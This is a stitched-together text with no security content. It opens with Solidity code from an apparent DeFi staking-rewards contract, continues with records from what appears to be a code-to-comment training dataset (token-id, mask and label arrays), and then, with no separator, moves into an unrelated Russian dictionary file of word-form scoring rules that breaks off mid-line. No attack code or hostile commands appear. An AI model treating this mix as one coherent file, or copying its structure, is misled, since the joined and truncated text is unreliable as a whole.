/ 31622776601683 / 100 * 100000000000000000000000000 / 10^18 = 6708203932437400000000 (6,708.2039 GFI) */ uint256 sqrtDiff = Babylonian.sqrt(newTotalInterest).sub(sqrtOrigTotalInterest); uint256 sqrtMaxInterestDollarsEligible = Babylonian.sqrt(maxInterestDollarsEligible); require(sqrtMaxInterestDollarsEligible > 0, "maxInterestDollarsEligible must not be zero"); uint256 newGrossRewards = sqrtDiff .mul(totalRewardPercentOfTotalGFI) .div(sqrtMaxInterestDollarsEligible) .div(100) .mul(totalGFISupply) .div(GFI_MANTISSA); // Extra safety check to make sure the logic is capped at a ceiling of potential rewards // Calculating the gfi/$ for first dollar of interest to the protocol, and multiplying by new interest amount uint256 absoluteMaxGfiCheckPerDollar = Babylonian .sqrt((uint256)(1).mul(GFI_MANTISSA)) .mul(totalRewardPercentOfTotalGFI) .div(sqrtMaxInterestDollarsEligible) .div(100) .mul(totalGFISupply) .div(GFI_MANTISSA); require( newGrossRewards < absoluteMaxGfiCheckPerDollar.mul(newTotalInterest), "newGrossRewards cannot be greater then the max gfi per dollar" ); return newGrossRewards; } /** * @return Whether the provided `tokenInfo` is a token corresponding to a senior tranche. */ function _isSeniorTrancheToken(IPoolTokens.TokenInfo memory tokenInfo) internal pure returns (bool) { return tokenInfo.tranche.mod(NUM_TRANCHES_PER_SLICE) == 1; } /// @notice Returns an amount with the base of usdc (1e6) as an 1e18 number function _usdcToAtomic(uint256 amount) internal pure returns (uint256) { return amount.mul(GFI_MANTISSA).div(USDC_MANTISSA); } /// @notice Returns an amount with the base 1e18 as a usdc amount (1e6) function _atomicToUsdc(uint256 amount) internal pure returns (uint256) { return amount.div(GFI_MANTISSA.div(USDC_MANTISSA)); } /// @notice Returns the equivalent amount of USDC given an amount of fidu and a share price /// @param amount amount of FIDU /// @param sharePrice share price of FIDU /// @return equivalent amount of USDC function _fiduToUsdc(uint256 amount, uint256 sharePrice) internal pure returns (uint256) { return _usdcToAtomic(amount).mul(FIDU_MANTISSA).div(sharePrice); } /// @notice Returns the junior tranche id for the given slice index /// @param index slice index /// @return junior tranche id of given slice index function _sliceIndexToJuniorTrancheId(uint256 index) internal pure returns (uint256) { return index.add(1).mul(2); } /// @notice Returns the slice index for the given junior tranche id /// @param trancheId tranche id /// @return slice index that the given tranche id belongs to function _juniorTrancheIdToSliceIndex(uint256 trancheId) internal pure returns (uint256) { return trancheId.sub(1).div(2); } /// @notice get the StakingRewards contract after checkpoint the rewards values /// @return StakingRewards with updated rewards values function _getUpdatedStakingRewards() internal returns (IStakingRewards) { IStakingRewards stakingRewards = IStakingRewards(config.stakingRewardsAddress()); if (stakingRewards.lastUpdateTime() != block.timestamp) { // This triggers rewards to update stakingRewards.kick(0); } return stakingRewards; } /// @notice Returns true if a TranchedPool's rewards parameters have been initialized, otherwise false /// @param pool pool to check rewards info function _poolRewardsHaveBeenInitialized(ITranchedPool pool) internal view returns (bool) { StakingRewardsPoolInfo memory poolInfo = poolStakingRewards[pool]; return _poolStakingRewardsInfoHaveBeenInitialized(poolInfo); } /// @notice Returns true if a given pool's staking rewards parameters have been initialized function _poolStakingRewardsInfoHaveBeenInitialized(StakingRewardsPoolInfo memory poolInfo) internal pure returns (bool) { return poolInfo.accumulatedRewardsPerTokenAtLastCheckpoint != 0; } /// @notice Returns true if a TranchedPool's slice's rewards parameters have been initialized, otherwise false function _sliceRewardsHaveBeenInitialized(ITranchedPool pool, uint256 sliceIndex) internal view returns (bool) { StakingRewardsPoolInfo memory poolInfo = poolStakingRewards[pool]; return poolInfo.slicesInfo.length > sliceIndex && poolInfo.slicesInfo[sliceIndex].unrealizedAccumulatedRewardsPerTokenAtLastCheckpoint != 0; } /// @notice Return a slice's rewards accumulator if it has been intialized, /// otherwise return the TranchedPool's accumulator function _getSliceAccumulatorAtLastCheckpoint( StakingRewardsSliceInfo memory sliceInfo, StakingRewardsPoolInfo memory poolInfo ) internal pure returns (uint256) { require( poolInfo.accumulatedRewardsPerTokenAtLastCheckpoint != 0, "unsafe: pool accumulator hasn't been initialized" ); bool sliceHasNotReceivedAPayment = sliceInfo.accumulatedRewardsPerTokenAtLastCheckpoint == 0; return sliceHasNotReceivedAPayment ? poolInfo.accumulatedRewardsPerTokenAtLastCheckpoint : sliceInfo.accumulatedRewardsPerTokenAtLastCheckpoint; } /// @notice Return a tokenss rewards accumulator if its been initialized, otherwise return the slice's accumulator function _getTokenAccumulatorAtLastWithdraw( StakingRewardsTokenInfo memory tokenInfo, StakingRewardsSliceInfo memory sliceInfo ) internal pure returns (uint256) { require(sliceInfo.accumulatedRewardsPerTokenAtDrawdown != 0, "unsafe: slice accumulator hasn't been initialized"); bool hasNotWithdrawn = tokenInfo.accumulatedRewardsPerTokenAtLastWithdraw == 0; if (hasNotWithdrawn) { return sliceInfo.accumulatedRewardsPerTokenAtDrawdown; } else { require( tokenInfo.accumulatedRewardsPerTokenAtLastWithdraw >= sliceInfo.accumulatedRewardsPerTokenAtDrawdown, "Unexpected token accumulator" ); return tokenInfo.accumulatedRewardsPerTokenAtLastWithdraw; } } /// @notice Returns the junior tranche of a pool given a slice index /// @param pool pool to retreive tranche from /// @param sliceIndex slice index /// @return tranche in specified slice and pool function _getJuniorTrancheForTranchedPoolSlice(ITranchedPool pool, uint256 sliceIndex) internal view returns (ITranchedPool.TrancheInfo memory) { uint256 trancheId = _sliceIndexToJuniorTrancheId(sliceIndex); return pool.getTranche(trancheId); } /// @notice Return the amount of principal currently deployed in a given slice /// @param tranche tranche to get principal outstanding of function _getPrincipalDeployedForTranche(ITranchedPool.TrancheInfo memory tranche) internal pure returns (uint256) { return tranche.principalDeposited.sub( _atomicToUsdc(tranche.principalSharePrice.mul(_usdcToAtomic(tranche.principalDeposited)).div(FIDU_MANTISSA)) ); } /// @notice Return an initialized StakingRewardsSliceInfo with the given parameters function _initializeStakingRewardsSliceInfo( uint256 fiduSharePriceAtDrawdown, uint256 principalDeployedAtDrawdown, uint256 rewardsAccumulatorAtDrawdown ) internal pure returns (StakingRewardsSliceInfo memory) { return StakingRewardsSliceInfo({ fiduSharePriceAtDrawdown: fiduSharePriceAtDrawdown, principalDeployedAtLastCheckpoint: principalDeployedAtDrawdown, accumulatedRewardsPerTokenAtDrawdown: rewardsAccumulatorAtDrawdown, accumulatedRewardsPerTokenAtLastCheckpoint: rewardsAccumulatorAtDrawdown, unrealizedAccumulatedRewardsPerTokenAtLastCheckpoint: rewardsAccumulatorAtDrawdown }); } /// @notice Returns the amount of rewards accrued from `lastUpdatedTime` to `endTime` /// We assume the reward rate was linear during this time /// @param rewardsAccruedSinceLastCheckpoint rewards accumulated between `lastUpdatedTime` and `currentTime` /// @param lastUpdatedTime the last timestamp the rewards accumulator was updated /// @param currentTime the current timestamp /// @param endTime the end time of the period that is elligible to accrue rewards /// @return approximate rewards accrued from `lastUpdateTime` to `endTime` function _calculateProRatedRewardsForPeriod( uint256 rewardsAccruedSinceLastCheckpoint, uint256 lastUpdatedTime, uint256 currentTime, uint256 endTime ) internal pure returns (uint256) { uint256 slopeNumerator = rewardsAccruedSinceLastCheckpoint.mul(FIDU_MANTISSA); uint256 slopeDivisor = currentTime.sub(lastUpdatedTime); uint256 slope = slopeNumerator.div(slopeDivisor); uint256 span = endTime.sub(lastUpdatedTime); uint256 rewards = slope.mul(span).div(FIDU_MANTISSA); return rewards; } /// @notice update a Pool's staking rewards accumulator function _updateStakingRewardsPoolInfoAccumulator( StakingRewardsPoolInfo storage poolInfo, uint256 newAccumulatorValue ) internal { poolInfo.accumulatedRewardsPerTokenAtLastCheckpoint = newAccumulatorValue; poolInfo.lastUpdateTime = block.timestamp; } /* ======== MODIFIERS ======== */ modifier onlyPool() { require(config.getPoolTokens().validPool(_msgSender()), "Invalid pool!"); _; } /* ======== EVENTS ======== */ event BackerRewardsClaimed( address indexed owner, uint256 indexed tokenId, uint256 amountOfTranchedPoolRewards, uint256 amountOfSeniorPoolRewards ); event BackerRewardsSetTotalRewards(address indexed owner, uint256 totalRewards, uint256 totalRewardPercentOfTotalGFI); event BackerRewardsSetTotalInterestReceived(address indexed owner, uint256 totalInterestReceived); event BackerRewardsSetMaxInterestDollarsEligible(address indexed owner, uint256 maxInterestDollarsEligible); }
@notice get the StakingRewards contract after checkpoint the rewards values @return StakingRewards with updated rewards values This triggers rewards to update
function _getUpdatedStakingRewards() internal returns (IStakingRewards) { IStakingRewards stakingRewards = IStakingRewards(config.stakingRewardsAddress()); if (stakingRewards.lastUpdateTime() != block.timestamp) { stakingRewards.kick(0); } return stakingRewards; }
15,825,675
[ 1, 588, 326, 934, 6159, 17631, 14727, 6835, 1839, 9776, 326, 283, 6397, 924, 327, 934, 6159, 17631, 14727, 598, 3526, 283, 6397, 924, 1220, 11752, 283, 6397, 358, 1089, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 389, 588, 7381, 510, 6159, 17631, 14727, 1435, 2713, 1135, 261, 45, 510, 6159, 17631, 14727, 13, 288, 203, 565, 467, 510, 6159, 17631, 14727, 384, 6159, 17631, 14727, 273, 467, 510, 6159, 17631, 14727, 12, 1425, 18, 334, 6159, 17631, 14727, 1887, 10663, 203, 565, 309, 261, 334, 6159, 17631, 14727, 18, 2722, 1891, 950, 1435, 480, 1203, 18, 5508, 13, 288, 203, 1377, 384, 6159, 17631, 14727, 18, 79, 1200, 12, 20, 1769, 203, 565, 289, 203, 565, 327, 384, 6159, 17631, 14727, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x70588Eb4626600e6b9cD49b140E39e5a814D9535/sources/erc721bo/contracts/Owners.sol
* @dev Returns `owner` and `count` from `packed`./ Unchecked because bitwise operations only.
function unpack(uint256 packed) private pure returns (address owner, uint256 count){ unchecked { owner = address(uint160(packed >> 32)); count = packed & type(uint32).max; } }
3,053,343
[ 1, 1356, 1375, 8443, 68, 471, 1375, 1883, 68, 628, 1375, 2920, 329, 8338, 19, 29514, 2724, 25337, 5295, 1338, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 6167, 12, 11890, 5034, 12456, 13, 3238, 16618, 1135, 261, 2867, 3410, 16, 2254, 5034, 1056, 15329, 203, 3639, 22893, 288, 203, 5411, 3410, 273, 1758, 12, 11890, 16874, 12, 2920, 329, 1671, 3847, 10019, 203, 5411, 1056, 273, 12456, 473, 618, 12, 11890, 1578, 2934, 1896, 31, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/43113/0x3a7D90487F8E6c8631317E1B812d020CE5bB1288/sources/src/libraries/math/PackedUint128Math.sol
* @dev Encodes a uint128 into a single bytes32 as the second uint128 @param x2 The uint128 @return z The encoded bytes32 as follows: [0 - 128[: empty [128 - 256[: x2/
function encodeSecond(uint128 x2) internal pure returns (bytes32 z) { assembly { z := shl(OFFSET, x2) } }
7,117,644
[ 1, 19771, 279, 2254, 10392, 1368, 279, 2202, 1731, 1578, 487, 326, 2205, 2254, 10392, 225, 619, 22, 1021, 2254, 10392, 327, 998, 1021, 3749, 1731, 1578, 487, 13040, 30, 306, 20, 300, 8038, 10531, 1008, 306, 10392, 300, 8303, 10531, 619, 22, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2017, 8211, 12, 11890, 10392, 619, 22, 13, 2713, 16618, 1135, 261, 3890, 1578, 998, 13, 288, 203, 3639, 19931, 288, 203, 5411, 998, 519, 699, 80, 12, 11271, 16, 619, 22, 13, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// Правила для изменения достоверности распознавания конкретных словоформ в русском словаре. // Обычное предназначение этих правил - изменить равновероятные распознавания // омонимичных форм жаль(безличный глагол)>жаль(императив), // либо повлиять на выбор многословных форм в противовес // выбору отдельных слов: [слева от] <--> [слева] [от] wordform_score смеси{глагол}=-10 // из чего смеси ? wordform_score ага{ существительное }=-5 wordform_score малышки{ род:муж }=-10 // Малышки будут прыгать от радости! wordform_score мебели{ число:мн }=-10 // Рвали обивку мебели. wordform_score начало{ глагол }=-6 // Сегодня неплохое начало. wordform_score воды{ род:муж }=-10 // мы приплывем в их воды wordform_score скалы{ род:муж }=-10 // там должны быть скалы wordform_score кафе{ род:муж }=-10 // в кафе wordform_score скалы{ род:муж }=-10 // волны бились о скалы wordform_score кроме{ существительное }=-10 // кроме этой вот ягоды wordform_score жилище{ род:жен }=-10 // в ее жилище wordform_score почитай{ наречие }=-4 // Ты лучше почитай. wordform_score без{ существительное }=-10 // Без кладовок и гардеробных комнат wordform_score бренды{род:жен}=-10 // Вообще-то перечисленные бренды давно уже избавились от налета местечковости. wordform_score ярки{ существительное }=-10 // Глаза его были ярки wordform_score голубей{ прилагательное }=-1 // Ты будешь Петькиных голубей подманивать. wordform_score дело{ глагол }=-10 // Дело наше лесное. wordform_score правило{ глагол }=-5 // Такое наше правило... wordform_score карусель{ глагол }=-10 // Карусель начинается мировая. wordform_score Германии{ число:мн }=-10 // В Германии беженец спрыгнул с поезда из-за угрозы депортации в Италию wordform_score бусы { род:муж }=-5 // Весенние бусы персикового дерева разорвались. wordform_score суеты { число:мн }=-10 // Завершился 26-ой тур российской премьер-лиги. wordform_score метель { глагол }=-10 // На улице метель. //wordform_score по-видимому { наречие }=2 //wordform_score по-видимому { вводное }=2 // Ему, по-видимому, не терпелось начать. wordform_score энергии { существительное число:мн }=-2 // Ему и сейчас не занимать энергии. wordform_score таки { существительное }=-5 // Ему-таки удалось ее завести. wordform_score выстуживаем { прилагательное }=-1 wordform_score уполномочиваем { прилагательное }=-1 wordform_score кормим { прилагательное }=-1 wordform_score чиним { прилагательное }=-1 wordform_score заводим { прилагательное }=-1 wordform_score периодизируем { прилагательное }=-1 wordform_score завозим { прилагательное }=-1 wordform_score дегустируем { прилагательное }=-1 wordform_score увозим { прилагательное }=-1 wordform_score вообразим { прилагательное }=-1 wordform_score дробим { прилагательное }=-1 wordform_score таскаем { прилагательное }=-1 wordform_score превозносим { прилагательное }=-1 wordform_score потопляем { прилагательное }=-1 wordform_score волочим { прилагательное }=-1 wordform_score перевиваем { прилагательное }=-1 wordform_score засекречиваем { прилагательное }=-1 wordform_score храним { прилагательное }=-1 wordform_score уносим { прилагательное }=-1 wordform_score предводим { прилагательное }=-1 wordform_score мыслим { прилагательное }=-1 wordform_score проходим { прилагательное }=-1 wordform_score влачим { прилагательное }=-1 wordform_score творим { прилагательное }=-1 wordform_score сравним { прилагательное }=-1 wordform_score измерим { прилагательное }=-1 wordform_score душим { прилагательное }=-1 wordform_score сопоставим { прилагательное }=-1 wordform_score досягаем { прилагательное }=-1 wordform_score травим { прилагательное }=-1 wordform_score благоволим { прилагательное }=-1 wordform_score убеждаем { прилагательное }=-1 wordform_score слышим { прилагательное }=-1 wordform_score слышим { прилагательное }=-1 wordform_score подгружаем { прилагательное }=-1 wordform_score укрупняем { прилагательное }=-1 wordform_score взымаем { прилагательное }=-1 wordform_score зашвыриваем { прилагательное }=-1 wordform_score зависим { прилагательное }=-1 wordform_score ощутим { прилагательное }=-1 wordform_score громим { прилагательное }=-1 wordform_score застраиваем { прилагательное }=-1 wordform_score исправим { прилагательное }=-1 wordform_score выполним { прилагательное }=-1 wordform_score производим { прилагательное }=-1 wordform_score втемяшиваем { прилагательное }=-1 wordform_score содержим { прилагательное }=-1 wordform_score подносим { прилагательное }=-1 wordform_score вкраиваем { прилагательное }=-1 wordform_score беспокоим { прилагательное }=-1 wordform_score взнуздываем { прилагательное }=-1 wordform_score носим { прилагательное }=-1 wordform_score любим { прилагательное }=-1 wordform_score доносим { прилагательное }=-1 wordform_score уценяем { прилагательное }=-1 wordform_score ненавидим { прилагательное }=-1 wordform_score судим { прилагательное }=-1 wordform_score вмораживаем { прилагательное }=-1 wordform_score ввозим { прилагательное }=-1 wordform_score подвозим { прилагательное }=-1 wordform_score развозим { прилагательное }=-1 wordform_score привозим { прилагательное }=-1 wordform_score реструктурируем { прилагательное }=-1 wordform_score реструктурируем { прилагательное }=-1 wordform_score подтопляем { прилагательное }=-1 wordform_score перезаписываем { прилагательное }=-1 wordform_score ценим { прилагательное }=-1 wordform_score национализируем { прилагательное }=-1 wordform_score национализируем { прилагательное }=-1 wordform_score проминаем { прилагательное }=-1 wordform_score переносим { прилагательное }=-1 wordform_score возводим { прилагательное }=-1 wordform_score проницаем { прилагательное }=-1 wordform_score проводим { прилагательное }=-1 wordform_score проводим { прилагательное }=-1 wordform_score таим { прилагательное }=-1 wordform_score синхронизируем { прилагательное }=-1 wordform_score вводим { прилагательное }=-1 wordform_score гоним { прилагательное }=-1 wordform_score разделим { прилагательное }=-1 wordform_score ввариваем { прилагательное }=-1 wordform_score бороздим { прилагательное }=-1 wordform_score воспоминаем { прилагательное }=-1 wordform_score руководим { прилагательное }=-1 wordform_score сносим { прилагательное }=-1 wordform_score разносим { прилагательное }=-1 wordform_score стандартизируем { прилагательное }=-1 wordform_score терпим { прилагательное }=-1 wordform_score выносим { прилагательное }=-1 wordform_score выносим { прилагательное }=-1 wordform_score боготворим { прилагательное }=-1 wordform_score клоним { прилагательное }=-1 wordform_score прозываем { прилагательное }=-1 wordform_score привносим { прилагательное }=-1 wordform_score соизмерим { прилагательное }=-1 wordform_score компилируем { прилагательное }=-1 wordform_score централизуем { прилагательное }=-1 wordform_score упаковываем { прилагательное }=-1 wordform_score возбудим { прилагательное }=-1 wordform_score отделим { прилагательное }=-1 wordform_score ограбляем { прилагательное }=-1 wordform_score объясним { прилагательное }=-1 wordform_score наводим { прилагательное }=-1 wordform_score подводим { прилагательное }=-1 wordform_score исполним { прилагательное }=-1 wordform_score вычислим { прилагательное }=-1 wordform_score монетизируем { прилагательное }=-1 wordform_score отряжаем { прилагательное }=-1 wordform_score разъединим { прилагательное }=-1 wordform_score заменим { прилагательное }=-1 wordform_score охаиваем { прилагательное }=-1 wordform_score растворим { прилагательное }=-1 wordform_score наносим { прилагательное }=-1 wordform_score уничтожим { прилагательное }=-1 wordform_score томим { прилагательное }=-1 wordform_score заполним { прилагательное }=-1 wordform_score сводим { прилагательное }=-1 wordform_score выводим { прилагательное }=-1 wordform_score перевозим { прилагательное }=-1 wordform_score взаимозаменяем { прилагательное }=-1 wordform_score поносим { прилагательное }=-1 wordform_score вверстываем { прилагательное }=-1 wordform_score воспроизводим { прилагательное }=-1 wordform_score вывозим { прилагательное }=-1 wordform_score прорежаем { прилагательное }=-1 wordform_score дренируем { прилагательное }=-1 wordform_score разграбляем { прилагательное }=-1 wordform_score обеззараживаем { прилагательное }=-1 wordform_score тесним { прилагательное }=-1 wordform_score вносим { прилагательное }=-1 wordform_score разрешим { прилагательное }=-1 wordform_score подбодряем { прилагательное }=-1 wordform_score уловим { прилагательное }=-1 wordform_score вдергиваем { прилагательное }=-1 wordform_score автопилотируем { прилагательное }=-1 wordform_score автопилотируем { прилагательное }=-1 wordform_score воссоединяем { прилагательное }=-1 wordform_score фондируем { прилагательное }=-1 wordform_score зрим { прилагательное }=-1 wordform_score допустим { прилагательное }=-1 wordform_score преподносим { прилагательное }=-1 wordform_score устраним { прилагательное }=-1 wordform_score устрашим { прилагательное }=-1 wordform_score поправим { прилагательное }=-1 wordform_score нарезаем { прилагательное }=-1 wordform_score значим { прилагательное }=-1 wordform_score истребим { прилагательное }=-1 wordform_score окормляем { прилагательное }=-1 wordform_score воплотим { прилагательное }=-1 wordform_score будоражим { прилагательное }=-1 wordform_score тревожим { прилагательное }=-1 wordform_score применим { прилагательное }=-1 wordform_score дактилоскопируем { прилагательное }=-1 wordform_score дактилоскопируем { прилагательное }=-1 wordform_score браним { прилагательное }=-1 wordform_score провозим { прилагательное }=-1 wordform_score чтим { прилагательное }=-1 wordform_score приложим { прилагательное }=-1 wordform_score повторим { прилагательное }=-1 wordform_score вменяем { прилагательное }=-1 wordform_score раздробляем { прилагательное }=-1 wordform_score льготируем { прилагательное }=-1 wordform_score перезаправляем { прилагательное }=-1 wordform_score удовлетворим { прилагательное }=-1 wordform_score отводим { прилагательное }=-1 wordform_score переводим { прилагательное }=-1 wordform_score утапливаем { прилагательное }=-1 wordform_score предотвратим { прилагательное }=-1 wordform_score тормозим { прилагательное }=-1 wordform_score вербализуем { прилагательное }=-1 wordform_score тостуем { прилагательное }=-1 wordform_score разводим { прилагательное }=-1 wordform_score уводим { прилагательное }=-1 wordform_score искореним { прилагательное }=-1 wordform_score протапливаем { прилагательное }=-1 wordform_score изготавливаем { прилагательное }=-1 wordform_score изъясним { прилагательное }=-1 wordform_score употребим { прилагательное }=-1 wordform_score разложим { прилагательное }=-1 wordform_score возносим { прилагательное }=-1 wordform_score проносим { прилагательное }=-1 wordform_score предвидим { прилагательное }=-1 wordform_score полимеризуем { прилагательное }=-1 wordform_score полимеризуем { прилагательное }=-1 wordform_score исчислим { прилагательное }=-1 wordform_score погрешим { прилагательное }=-1 wordform_score совместим { прилагательное }=-1 wordform_score впериваем { прилагательное }=-1 wordform_score приносим { прилагательное }=-1 wordform_score доводим { прилагательное }=-1 wordform_score заносим { прилагательное }=-1 wordform_score вытаращиваем { прилагательное }=-1 wordform_score обоготворяем { прилагательное }=-1 wordform_score наметаем { прилагательное }=-1 wordform_score делим { прилагательное }=-1 wordform_score хвалим { прилагательное }=-1 wordform_score излечим { прилагательное }=-1 wordform_score обратим { прилагательное }=-1 wordform_score уязвим { прилагательное }=-1 wordform_score определим { прилагательное }=-1 wordform_score произносим { прилагательное }=-1 wordform_score возобновим { прилагательное }=-1 wordform_score соотносим { прилагательное }=-1 wordform_score победим { прилагательное }=-1 wordform_score раним { прилагательное }=-1 wordform_score отличим { прилагательное }=-1 wordform_score прокачиваем { прилагательное }=-1 wordform_score рейтингуем { прилагательное }=-1 wordform_score растравляем { 